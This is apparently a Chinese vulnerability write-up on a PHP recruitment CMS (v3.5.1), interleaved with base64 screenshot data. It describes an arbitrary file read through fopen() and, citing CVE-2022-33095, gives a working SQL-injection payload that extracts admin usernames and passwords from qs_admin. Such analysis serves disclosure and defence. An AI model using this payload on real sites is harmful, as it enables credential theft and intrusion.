cgUQi5elnnh7WsTVqNU899TTHco/x7LPPDrluVmYma9as5dnnn6O6qr/X+0UXXsjUqdN49LFHh1WH80lkZCRr1qwlKjICkUhMQWEhb7z+Gvphvu9Hm/N9PQ9G3/YSSyQUFRax/tP1VFZ6Zvz4v8Yd0dF8VldHeadxyPWiFUruiI7m+tzcUT2+KkzFwdcdBs8Tr53kXB6UFULep8eInBJD3NJEyr4qwWYe+fe1Sq3iSE4OABPGj3e7fDSQSCQsunAJW7ZsxtLV5VIWGhpGbe1PJ6RDUFAw9z/4iPP5fv+Dj/DHn6kA8vDDjxMaGk5LazOFhQV06Ntp1+tRqzX4+/kRF58wfPEjPSMdm81CW1tbv7nJ4LAQZDIlx44cRSaTMSY1heaWJgx6A94+PgSFBnIy7ySWLgtJYxIJCgqitsZhVW8wdFBwosi5ry6L64Um0J+35t2MSiJjf0MJi6PS0XUZee74t3xdmUu8TzAvz7yWQ03l/Gbv+wB8NP82RCIRK7/5p3MfwUpvPpp/GxEqfw41lfHbfR+S11rFA/s/AuCbJb/BSyzud+yVcZO4bexc5+99DSXc371NDw9NWMqM0GQCZCoqDS28kPctW6tPeHx+YSqHS/ojhz6joY/F9B+yLmNGaCK/2fcBhxrLuDpxOtclz+D1ot28UbCLhzMvZU5YMl9WHGNBRCoqqYz1pYd4qs/E42B1ezJ7JVOC49FIHR95T0+9nC6bDavdyqIv/0GkKoDX597o3E+LycCqrb3tCXBryjwLine truncated
|
||||
<p blockindex=17>因此这里 fopen() 中的 $url 可控且没有安全过滤,简单构造即可读取任意文件。<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<h3 blockindex=18>v3.5.1 SQL 注入|Jobfairol.php</h3>
|
||||
<p blockindex=19>漏洞信息:<br>
|
||||
<a href=https://www.cnvd.org.cn/flaw/show/CNVD-2022-61443>CNVD-2022-61443 - 国家信息安全漏洞共享平台 (cnvd.org.cn)</a><br>
|
||||
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-33095">CVE - CVE-2022-33095 (mitre.org)</a></p>
|
||||
<p blockindex=20>文件路径:v1_0/controller/home/Jobfairol.php,keyword 参数</p>
|
||||
<p blockindex=21>Payload:</p>
|
||||
<pre blockindex=22><code class="hljs language-rb">/index.php/v1_0/home/jobfairol/resumelist?jobfair_id=<span class=hljs-number>1</span>&amp;keyword=<span class=hljs-string>' (select/**/updatexml(0,concat(0xa,(select/**/concat(username,password)from/**/qs_admin)),0))))%23
|
||||
</span></code></pre>
|
||||
<p blockindex=23><img src="data:image/png;base64,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 truncated
|
||||
<h4 blockindex=24>代码分析</h4>
|
||||
<p blockindex=25>定位到关键函数 resumelist() ,接收四个参数,其中 $keyword 接收字符串格式,这里输入 sec 作为测试字符进行跟踪。<br>
|
||||
<img src="data:image/png;base64,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